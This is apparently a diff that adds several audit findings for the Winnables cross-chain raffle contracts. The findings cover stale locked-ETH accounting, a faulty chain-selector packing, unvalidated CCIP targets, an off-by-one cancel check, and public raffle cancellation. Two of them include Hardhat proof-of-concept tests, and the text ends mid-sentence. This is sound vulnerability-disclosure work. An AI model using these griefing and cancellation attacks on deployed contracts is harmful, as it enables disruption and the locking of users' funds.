IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); ++ if (supply > raffle.minTicketsThreshold) revert CannotCancelValidRaffle(); +- if (supply >= raffle.minTicketsThreshold) revert CannotCancelValidRaffle(); +} \ No newline at end of file diff --git a/001/321.md b/001/321.md new file mode 100644 index 0000000..63503ca --- /dev/null +++ b/001/321.md @@ -0,0 +1,48 @@ +Fancy Blonde Mustang + +High + +# Same address on different chains + +## Summary + +In the current implementation, the protocol is deployed across both the Ethereum mainnet and Avalanche. The issue arises because the winner's address is transferred from one chain to another. A user may have different addresses on different chains. + +## Vulnerability Detail + +There are two main contracts in the protocol: WinnablesTicketManager and WinnablesPrizeManager. WinnablesTicketManager is deployed on Avalanche, and WinnablesPrizeManager is deployed on Ethereum. + +The basic workflow of the protocol is as follows: + +1. The admin locks ETH, tokens, or NFTs in WinnablesPrizeManager and sends a CCIP message to WinnablesTicketManager. +2. After some time, when the raffle ends and a winner is drawn, a CCIP message is sent from WinnablesTicketManager to WinnablesPrizeManager during the execution of propagateRaffleWinner. This message encodes the address of the winner. The problem is that the winner's address is likely to be different on Ethereum compared to Avalanche. + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334-L345 + +## Impact + +Users may not be able to claim their rewards because their addresses will differ between chains. + +## Code Snippet + +```solidity +function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + + _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + _lockedETH -= raffle.totalRaised; + } + } +``` + +## Tool used + +Manual Review + +## Recommendation +Implement a smart contract on Ethereum and another on Avalanche to store and resolve mappings between user addresses on each chain. Ensure these contracts are updated when users interact with the system. \ No newline at end of file diff --git a/001/323.md b/001/323.md new file mode 100644 index 0000000..f6462cb --- /dev/null +++ b/001/323.md @@ -0,0 +1,64 @@ +Fancy Blonde Mustang + +High + +# LockedEth has a stale value + +## Summary + +The WinnablesTicketManager::refundPlayers function does not update the lockedETH variable, leading to inconsistencies. + +## Vulnerability Detail + +Consider the following scenario: + +1. **Raffle Deposits**: + - Raffle 1: 7 ETH deposited + - Raffle 2: 3 ETH deposited + +2. **Post-Raffle Status**: + - After Raffle 2 ends with a winner, `lockedETH` should decrease from 10 ETH to 7 ETH. The contract balance remains at 10 ETH. + - If Raffle 1 is canceled and refunds are issued, the contract balance drops to 4 ETH. However, `lockedETH` remains at 7 ETH since it is not updated. + + [Relevant Code Location](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L215C5-L228C6) + +## Impact + +In the above scenario, admin will be not able to withdraw their reward from the protocol, because the computation will always underflow in the `withdrawETH`, because 4 - 7 = -3 and this will underflow. Admin couldn't withdraw their reward. + +## Code Snippet + +```solidity +function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length; ) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); + _sendETH(amountToSend, player); + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { ++i; } + } + } + +.... + +function withdrawETH() external onlyRole(0) { + uint256 balance; + unchecked { + balance = address(this).balance - _lockedETH; + } + _sendETH(balance, msg.sender); +} +``` + +## Tool used + +Manual Review + +## Recommendation + +Ensure that the lockedETH variable is updated appropriately in the refundPlayers function to reflect the actual state of ETH locked in the contract. This can be achieved by decrementing lockedETH every time a eth is withdrawn. \ No newline at end of file diff --git a/001/324.md b/001/324.md new file mode 100644 index 0000000..7faf4cd --- /dev/null +++ b/001/324.md @@ -0,0 +1,55 @@ +Broad Red Skunk + +High + +# CCIP Message manager can accept messages from unapproved contracts due to wrong packing operation + +## Summary +In Winnables system, CCIP is used in order to cross chain messaging and there is a mechanism for whitelisting the contracts for message receiving. It can accept messages from non-whitelisted contracts due to wrong packing operation. + +## Vulnerability Detail +Whitelisted contracts are stored in _ccipContracts variable: +```solidity + function _setCCIPCounterpart( + address contractAddress, + uint64 chainSelector, + bool enabled + ) internal { +&> bytes32 counterpart = _packCCIPContract(contractAddress, chainSelector); + _ccipContracts[counterpart] = enabled; + } +``` +This counter part is checked in receive message function in order to be safe against fault messages. +```solidity +function _ccipReceive( + Client.Any2EVMMessage memory message + ) internal override { + (address _senderAddress) = abi.decode(message.sender, (address)); + bytes32 counterpart = _packCCIPContract(_senderAddress, message.sourceChainSelector); +&> if (!_ccipContracts[counterpart]) revert UnauthorizedCCIPSender(); + (uint256 raffleId) = abi.decode(message.data, (uint256)); +``` +But packing function is implemented wrongly and, it can cause accepting messages from non-whitelisted contracts. + +Packing function: +```solidity + function _packCCIPContract(address contractAddress, uint64 chainSelector) internal pure returns(bytes32) { + return bytes32( + uint256(uint160(contractAddress)) | + uint256(chainSelector << 160) + ); + } +``` +It should store chain selector and contract address of the outside contract. But execution sequence in shifting operation is wrong because chainSelector is uint64 type and, after shifting 160 bits to left, it always going to be 0 in this situation. + +## Impact +Non-whitelisted contracts which has same address from unapproved chains can manipulate any raffle in the system and also win every raffle. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/BaseCCIPContract.sol#L40 +## Tool used + +Manual Review + +## Recommendation +Packing operation should convert chainSelector to uint256 before shifting 160 bits to left. \ No newline at end of file diff --git a/001/325.md b/001/325.md new file mode 100644 index 0000000..06879b1 --- /dev/null +++ b/001/325.md @@ -0,0 +1,115 @@ +Broad Red Skunk + +High + +# Admin can't withdraw available balance due to wrong locked ETH amount + +## Summary +Normally, admin can claim ticket sales from ticket manager contract using withdrawETH() function but due to wrong _lockedETH amount, he can't claim that. + +## Vulnerability Detail +After sales admin can claim available balance using following function +```solidity + function withdrawETH() external onlyRole(0) { + uint256 balance; + unchecked { +&> balance = address(this).balance - _lockedETH; + } + _sendETH(balance, msg.sender); + } + ``` +_lockedETH is updated every time while receiving or sending ETH: +```solidity + function buyTickets( + uint256 raffleId, + uint16 ticketCount, + uint256 blockNumber, + bytes calldata signature + ) external payable { + if (ticketCount == 0) revert InvalidTicketCount(); + _checkTicketPurchaseable(raffleId, ticketCount); + _checkPurchaseSig(raffleId, ticketCount, blockNumber, signature); + + Raffle storage raffle = _raffles[raffleId]; + uint256 participation = uint256(raffle.participations[msg.sender]); + uint128 totalPaid = uint128(participation) + uint128(msg.value); + uint32 totalPurchased = uint32(participation >> 128) + uint32(ticketCount); + unchecked { + raffle.participations[msg.sender] = bytes32( + (participation & type(uint256).max << 160) + | totalPaid | + uint256(totalPurchased) << 128 + ); + } + unchecked { + raffle.totalRaised += msg.value; + _userNonces[msg.sender]++; +&> _lockedETH += msg.value; + } + function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + + + + _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { +&> _lockedETH -= raffle.totalRaised; + } + } +``` + + +But after refunding, _lockedETH variable should decrease but this is not happened in current contract system: +```solidity + function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length; ) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); + _sendETH(amountToSend, player); + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { ++i; } + } + } + + function _sendETH(uint256 amount, address to) internal { + if (amount == 0) revert NothingToSend(); + (bool success, ) = to.call{ value: amount }(""); + if (!success) revert ETHTransferFail(); + } +} +``` + +Which means _lockedETH variable will go away from correct state every refunding process. + +## Proof of Concept + +### Scenario: + +- A raffle event is planned and users send 100 ETH in total ( _lockedETH = 100 ether , contract ETH balance = 100 ether) +- Due to some problems, it's cancelled and users get refund ( _lockedETH = 100 ether (problematic, contract ETH balance = 0 ether)) +- Another raffle event is planned and users send 100 ETH in total ( _lockedETH = 200 ether, contract ETH balance = 100 ether) +- Raffle event is finished and winner gets his price from prize manager ( _lockedETH = 100 ether, contract ETH balance = 100 ether) +- Admin wants to claim ticket sales ( ETH balance - _lockedETH = 0 ether ) +- Result: Admin couldn't receive ticket sales ( ETH ) ( loss of funds ) + + +## Impact +Loss of funds + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L215 +## Tool used + +Manual Review + +## Recommendation +_lockedETH have to be updated while refund process \ No newline at end of file diff --git a/001/326.md b/001/326.md new file mode 100644 index 0000000..bae2b50 --- /dev/null +++ b/001/326.md @@ -0,0 +1,49 @@ +Huge Fossilized Turtle + +High + +# Malicious user will make prize stuck harming the winner/protocol due to `WinnablesTicketManager::cancelRaffle()/propagateRaffleWinner()` not validating `prizeManager` and `chainSelector` + +### Summary + +[WinnablesTicketManager::cancelRaffle()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L282-L286) and [propagateRaffleWinner()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L340) do not validate the target `prizeManager` and `chainSelector`, allowing malicious users to specify wrong parameters and losing the prize forever. + +### Root Cause + +`WinnablesTicketManager` inherits `BaseCCIPSender` and calls `_sendCCIPMessage()` in `WinnablesTicketManager::cancelRaffle()/propagateRaffleWinner()` to forward the cross chain message to the `WinnablesPrizeManager`. However, `BaseCCIPSender::_sendCCIPMessage()` does not validate that `_ccipContracts[counterpart]` is enabled, that is, the given `prizeManager` and `chainSelector` are whitelisted. + +### Internal pre-conditions + +None. + +### External pre-conditions + +None. + +### Attack Path + +1. Users buy tickets in a raffle via `WinnablesTickerManager::buyTickets()`. +2. The raffle ends and not enough tickets were bought so `supply <= raffle.minTicketsThreshold` and `WinnablesTicketManager::cancelRaffle()` does not revert. +3. Malicious user calls `WinnablesTicketManager::cancelRaffle()` with incorrect `prizeManager` and `chainSelector`, not sending the message to the `WinnablesPrizeManager` on Ethereum such that the protocol may never claim the prize back. + +Alternatively, the attack can be carried out in `WinnablesTicketManager::propagateRaffleWinner()`: + +1. Users buy tickets in a raffle via `WinnablesTickerManager::buyTickets()`. +2. The raffle ends and enough tickets were bought so `supply >= raffle.minTicketsThreshold` and `WinnablesTicketManager::drawWinner()` is called. +3. After the request is fulfilled, malicious users call `WinnablesTicketManager::propagateRaffleWinner()` with incorrect `prizeManager` and `chainSelector`, not sending the message to the `WinnablesPrizeManager` on Ethereum such that the winner may never claim the prize. + +### Impact + +Loss of prize for the winner or protocol. + +### PoC + +It can be confirmed that no validation is performed on `prizeManager` and `chainSelector` in `WinnablesTicketManager::cancelRaffle()`, `WinnablesTicketManager::propagateRaffleWinner()` and `BaseCCIPSender::_sendCCIPMessage()`. + +### Mitigation + +Validate that `prizeManager` and `chainSelector` are whitelisted by adding: +```solidity +bytes32 counterpart = _packCCIPContract(_senderAddress, message.sourceChainSelector); +if (!_ccipContracts[counterpart]) revert UnauthorizedCCIPSender(); +``` \ No newline at end of file diff --git a/001/327.md b/001/327.md new file mode 100644 index 0000000..c43b7f1 --- /dev/null +++ b/001/327.md @@ -0,0 +1,55 @@ +Huge Fossilized Turtle + +High + +# `WinnablesTicketManager::refundPlayers()` will not decrease `_lockedETH` leading to stuck `ETH` for the protocol + +### Summary + +`WinnablesTicketManager::refundPlayers()` refunds the players their `ETH` if a raffle is canceled. However, it fails to decrease `_lockedETH`, which tracks how much `ETH` is locked and can not be withdrawn by the protocol. Thus, users will claim their refunds and decrease the `ETH` balance by `raffle.totalRaised`, but `_lockedETH` will remain at `raffle.totalRaised`. When the admin tries to call `WinnablesTicketManager::withdrawETH()`, it will not allow claming all the `ETH` corresponding from future sucessful raffles as `_lockedETH` will be incorrectly inflated. + +### Root Cause + +In [WinnablesTicketManager::refundPlayers()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L215) the `_lockedETH` variable is not decreased. + +### Internal pre-conditions + +A raffle is canceled. + +### External pre-conditions + +None. + +### Attack Path + +1. Users buy tickets via `WinnablesTicketManager::buyTickets()`, but not enough to reach `raffle.minTicketsThreshold`. +2. The raffle is canceled by calling `WinnablesTicketManager::cancelRaffle()`. +3. Users call `WinnablesTicketManager::refundPlayers()`, decreasing the `ETH` balance but not `_lockedETH`, making this `ETH` forever stuck. + +### Impact + +All `ETH` from canceled rounds is stuck. + +### PoC + +It can be confirmed that `WinnablesTicketManager::refundPlayers()` does not decrase `_lockedETH` and that `WinnablesTicketManager::withdrawETH()` withdraws `address(this).balance - _lockedETH`, which means the canceled `ETH` can never be claimed. + +### Mitigation + +```solidity +function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length; ) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); + _lockedETH -= amountToSend; //@audit here + _sendETH(amountToSend, player); + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { ++i; } + } +} +``` \ No newline at end of file diff --git a/001/330.md b/001/330.md new file mode 100644 index 0000000..fa82985 --- /dev/null +++ b/001/330.md @@ -0,0 +1,45 @@ +Large Myrtle Okapi + +Medium + +# Raffle can be canceled even if minTicketsThreshold is reached + +## Summary +WinnablesTicketManager::cancelRaffle will allow anyone to cancel a raffle even if minTicketsThreshold is reached due to a bad comparission in WinnablesTicketManager::_checkShouldCancel + +## Vulnerability Detail +The vulnerability reside in WinnablesTicketManager::_checkShouldCancel (called by WinnablesTicketManager::cancelRaffle). +This function returns that a raffle cannot be canceled if ticket's supply is greater than raffle.minTicketsThreshold, but if ticket's supply is equal to minTicketsThreshold it allows to be canceled. +This is because it doesnt take into account where the minTicketsThreshold is reached due to a bad comparission: +```solidity +function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + //...snippet + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); // <- bad comparission +} +``` +So if raffle ends with minTicketsThreshold reached, still can be canceled by anyone breaking invariant defined in IWinnables's Raffle struct. + + +## Impact +Invariant breakage about raffle conditionals +DoS when raffle reaches minTicketsThreshold + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L434-L441 + +## Tool used + +Manual Review + +## Recommendation +Change comparator in WinnablesTicketManager::_checkShouldCancel to greater or equal: +```solidity +function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply >= raffle.minTicketsThreshold) revert TargetTicketsReached(); //<- changed +} \ No newline at end of file diff --git a/001/332.md b/001/332.md new file mode 100644 index 0000000..694c1a7 --- /dev/null +++ b/001/332.md @@ -0,0 +1,60 @@ +Clean Fiery Caribou + +Medium + +# in `winnablesTicketManager.refundPlayers()` refunded eth is not deducted from `_lockedETH`. + +## Summary +refunded eth isn't deducted from the state var that stores ETH locked in the contract + +## Vulnerability Detail +`_lockedETH` is the state var in `winnablesTicketManager.refundPlayers()` that is used to account for ETH locked in the contract +```solidity + /// @dev ETH locked in the contract because it might be needed for a refund + uint256 private _lockedETH; +``` + +When tickets are bought via `buyTickets()`, ETH used to buy tickets are added to `_lockedETH`. +```solidity + unchecked { + raffle.totalRaised += msg.value; + _userNonces[msg.sender]++; + _lockedETH += msg.value; // @audit here + } +``` + +The issue lies in `refundPlayers()` which fails to deduct refunded ETH from `_lockedETH` state var. +```solidity + function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length; ) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); + _sendETH(amountToSend, player); + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { ++i; } + } + }//@audit-issue refunded eth is not deducted from _lockedETH. + +``` + +This will mess up the accounting of the contract. + +## Impact +refunded eth is not deducted from `_lockedETH`, the accounting of the contract will be messed up (incorrect accounting) + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L215 + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L303 +## Tool used + +Manual Review + +## Recommendation + +Deduct refunded ETH from `_lockedETH` in `winnablesTicketManager.refundPlayers()` \ No newline at end of file diff --git a/001/333.md b/001/333.md new file mode 100644 index 0000000..ce8c353 --- /dev/null +++ b/001/333.md @@ -0,0 +1,216 @@ +Damp Midnight Porpoise + +High + +# Cancel Raffle Front-Running/Access Control Attack + +### Summary + +A missing check in **cancelRaffle** allows a malicious user to cancel a raffle immediately after prize locking before the admin can create the raffle. This prevents the raffle from being created, causing potential loss of funds and disrupt the entire raffle process. This stems from the factthat the raffle creation is a two step process where first the prize is locked and then the owner creates the raffle. + +### Root Cause + +The root cause of this issue is the lack of proper access control and checks in the **cancelRaffle** function, which exposes a vulnerability where any user can cancel a raffle during a critical window between the prize being locked and the raffle being created. The **cancelRaffle** has external visibility. This function calls **_checkShouldCancel** function to check if raffle could be cancelled, which allows cancelling if the prize is locked. + +This is the cancelRaffle function: +` + function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + _checkShouldCancel(raffleId); + + _raffles[raffleId].status = RaffleStatus.CANCELED; + _sendCCIPMessage( + prizeManager, + chainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } +` + +Which further calls the _checkShouldCancel function: + +` + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); + } +` + +This line allows cancelling if prize is locked: +` if (raffle.status == RaffleStatus.PRIZE_LOCKED) return;` + +### Internal pre-conditions + +1. The prize is locked via _ccipReceive function (CCIP message). +2. The cancelRaffle function is external and accessible to all users. +3. There is a window of opportunity between prize locking and raffle creation. + + +### External pre-conditions + +1. The attacker must front-run the admin's createRaffle transaction. +2. The attacker must know the prize ID to call cancelRaffle. + +### Attack Path + +The prize is locked via **_ccipReceive**. +The attacker calls **cancelRaffle** immediately after the prize is locked. +Admin attempts to call **createRaffle** but fails as the raffle is now invalid. + +### Impact + +The protocol suffers a 100% loss of funds and potential raffle proceeds. The attacker does not gain any funds from cancellation but succeeds in causing operational disruption and preventing raffle creation. + +Example: + +Admin intended to create a raffle with a prize +An attacker front-runs and cancels the raffle before it is created, making the prize go unused and causing operational delays. + +### PoC + +` +const { ethers } = require('hardhat'); +const { expect } = require('chai'); +const helpers = require('@nomicfoundation/hardhat-network-helpers'); + +const { + getWalletWithEthers, blockTime, timeSeconds, +} = require('./common/utils'); +const { ccipDeployTicketManager } = require('../utils/demo'); +const { randomWord } = require('./common/chainlink'); +const { whileImpersonating } = require('../utils/impersonate'); +const { BigNumber } = require('ethers'); + +ethers.utils.Logger.setLogLevel(ethers.utils.Logger.levels.ERROR); + +describe('CCIP Ticket Manager', () => { + let ccipRouter; + let link; + let signers; + let manager; + let tickets; + let approver; + let winnablesDeployer; + let nft; + let token; + let api; + let snapshot; + let counterpartContractAddress; + let coordinator; + let badReceiver; + let goodReceiver; + + before(async () => { + signers = await ethers.getSigners(); + const result = await ccipDeployTicketManager(); + approver = result.approver; + winnablesDeployer = signers[0]; + link = result.link; + manager = result.ticketManager; + nft = result.nft; + token = result.token; + tickets = result.ticket; + ccipRouter = result.ccipRouter; + coordinator = result.coordinator; + api = await getWalletWithEthers(); + await (await manager.setRole(api.address, 1, true)).wait(); + counterpartContractAddress = signers[1].address; + const badReceiverFactory = await ethers.getContractFactory('ERC1155BadReceiver'); + const goodReceiverFactory = await ethers.getContractFactory('ERC1155Receiver'); + badReceiver = await badReceiverFactory.deploy(); + goodReceiver = await goodReceiverFactory.deploy(); + }); + + describe('Frontrunning attack during raffle creation', function () { + let admin, attacker; + + before(async () => { + snapshot = await helpers.takeSnapshot(); + [admin, attacker] = await ethers.getSigners(); + }); + + after(async () => { + await snapshot.restore(); + }); + + it('Lock prize via CCIP receive', async () => { + await (await manager.setCCIPCounterpart(counterpartContractAddress, 1, true)).wait(); + + // Mint LINK to the manager contract to handle VRF costs + const mintAmount = ethers.utils.parseEther('10'); // Adjust the amount as necessary + await (await link.mint(manager.address, mintAmount)).wait(); + + const tx = await whileImpersonating(ccipRouter.address, ethers.provider, async (signer) => + manager.connect(signer).ccipReceive({ + messageId: ethers.constants.HashZero, + sourceChainSelector: 1, + sender: '0x' + counterpartContractAddress.slice(-40).padStart(64, '0'), + data: '0x0000000000000000000000000000000000000000000000000000000000000001', + destTokenAmounts: [] + }) + ); + + const { events } = await tx.wait(); + expect(events).to.have.lengthOf(1); + expect(events[0].event).to.eq('RafflePrizeLocked'); + }); + + it('Frontrunning attack to cancel raffle before creation', async () => { + const prizeId = 1; + const raffleDetails = { + start: (await blockTime()) + 10, + end: (await blockTime()) + 3600, + minTicketCount: 0, + supplyCap: 500, + maxHoldings: 100 + }; + + // Lock the prize via CCIP receive again to ensure clarity + await (await manager.setCCIPCounterpart(counterpartContractAddress, 1, true)).wait(); + + // Start the CCIP lock process + const ccipLockTx = await whileImpersonating(ccipRouter.address, ethers.provider, async (signer) => + manager.connect(signer).ccipReceive({ + messageId: ethers.constants.HashZero, + sourceChainSelector: 1, + sender: '0x' + counterpartContractAddress.slice(-40).padStart(64, '0'), + data: '0x0000000000000000000000000000000000000000000000000000000000000001', + destTokenAmounts: [] + }) + ); + + await ccipLockTx.wait(); + + // Attacker frontruns and cancels the raffle + const cancelRaffleTx = await manager.connect(attacker).cancelRaffle( + counterpartContractAddress, + prizeId, + 1 + ); + + await cancelRaffleTx.wait(); + + // Attempt to create the raffle and expect it to fail + await expect( + manager.createRaffle( + prizeId, + raffleDetails.start, + raffleDetails.end, + raffleDetails.minTicketCount, + raffleDetails.supplyCap, + raffleDetails.maxHoldings + ) + ).to.be.revertedWithCustomError(manager, 'PrizeNotLocked'); + }); +}); +}); + +` + +### Mitigation + +Don't allow external users to be able to cancel raffles when the prize is locked. \ No newline at end of file diff --git a/001/335.md b/001/335.md new file mode 100644 index 0000000..07d2752 --- /dev/null +++ b/001/335.md @@ -0,0 +1,103 @@ +Custom Gunmetal Condor + +High + +# Attacker can DOS the creation of Raffles by exploiting the cancellation function + +### Summary + +The incorrect handling of the PRIZE_LOCKED state in the _checkShouldCancel function will cause a Denial of Service (DOS) attack for the Winnables protocol as malicious users will repeatedly cancel raffles immediately after prizes are locked, preventing legitimate raffle creation. + +### Root Cause + +In [WinnablesTicketManager:cancelRaffle()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L278) there is no access control meaning anyone can call it. + +Then in [WinnablesTicketManager:_checkShouldCancel()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L436) +the function immediately returns without reverting if the raffle status is PRIZE_LOCKED. + +This combination allows any user to cancel a raffle that is in the PRIZE_LOCKED state, which occurs after the prize is locked but before the raffle is fully created, inside the [_ccipReceive()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L381) function of TicketManager + +### Internal pre-conditions + +1) Admin needs to lock a prize in WinnablesPrizeManager in Mainnet (this will send a corresponde CCIP Message to Avalanche WinnablesTicketManager) + +### External pre-conditions + +1) Chainlink CCIP needs to successfully send the message from Ethereum to Avalanche when creating the Raffle. It is trigged in: +[lockNFT](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L163) +[lockETH](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L186) +[lockTokens](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L211) +2) TicketManager on Avalanche needs to correctly receive the CCIP message and set the Raffle status to PRIZE_LOCKED. + +### Attack Path + +1. Attacker monitors the Winnables protocol for new prize being lock in Ethereum +2. When a new raffle is created, the attacker waits for the Chainlink CCIP message to be sent to Avalanche. +3. As soon as the CCIP message is received and the raffle status is set to PRIZE_LOCKED on Avalanche and emits a event RafflePrizeLocked(), the attacker calls cancelRaffle(prizeManager, chainSelector, raffleId) function. +4. The _checkShouldCancel function allows the cancellation to proceed due to the PRIZE_LOCKED state. +5. The raffle is cancelled, and a CCIP message is sent back to Ethereum to unlock the prize. +6. The attacker repeats steps 1-5 for each new raffle, effectively preventing any raffle from being fully created. + +### Impact + +The Winnables protocol suffers a loss of functionality and cannot successfully create new raffles. The protocol also incurs unnecessary gas costs for each attempted prize Lock in mainnet and cancellation cycle. The attacker loses the gas fees on Avalanche for calling the cancelRaffle function but gains the ability to deny service to the protocol (griefing attack). + +### PoC + +Add this test in TicketManager.js + +```javascript + describe('Cancellation before raffle creation can be called by anyone', () => { + before(async () => { + snapshot = await helpers.takeSnapshot(); + }); + + after(async () => { + await snapshot.restore(); + }); + + it('Anyone can cancel the raffle', async () => { + await (await link.mint(manager.address, ethers.utils.parseEther('100'))).wait(); + const nonAdmin = signers[1]; + const tx = await manager.connect(nonAdmin).cancelRaffle(counterpartContractAddress, 1, 1); + const { events } = await tx.wait(); + expect(events).to.have.lengthOf(3); + const ccipMessageEvent = ccipRouter.interface.parseLog(events[0]); + expect(ccipMessageEvent.name).to.eq('MockCCIPMessageEvent'); + expect(ccipMessageEvent.args.data).to.eq('0x000000000000000000000000000000000000000000000000000000000000000001'); + }); + }) +``` + +### Mitigation + +Option 1: Restrict cancelRaffle to admin only +```solidity +cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external onlyRole(0) { + // ... existing function body ... +} +``` +Option 2: Allow everyone to call cancelRaffle, but implement additional checks +If the protocol decides to keep the cancelRaffle function open to all users, the following additional measures should be considered: + +Modify the _checkShouldCancel function to explicitly handle all raffle states: +```solidity +_checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) revert CannotCancelLockedRaffle(); + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffleStatus(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); +} +``` + +Or add a new variable in the Raffle struct *lockedAt* which is set in _ccipReceive to block.timestamp +Implement a time delay between prize locking and allowing cancellation: +(raffle.lockedAt + CANCELLATION_DELAY > block.timestamp) revert CancellationTooEarly(); + + +Recommendation: +Option 1 (admin-only cancellation) provides the highest level of security and control. It prevents any potential abuse of the cancellation mechanism by unauthorized parties. +However, if the protocol design requires allowing public cancellation for specific reasons (e.g., to enable automated processes or to allow participants to cancel under certain conditions), then Option 2 with the additional checks and safeguards should be implemented. +The choice between these options depends on the specific requirements and design philosophy of the Winnables protocol. If there's no strong reason to allow public cancellation, Option 1 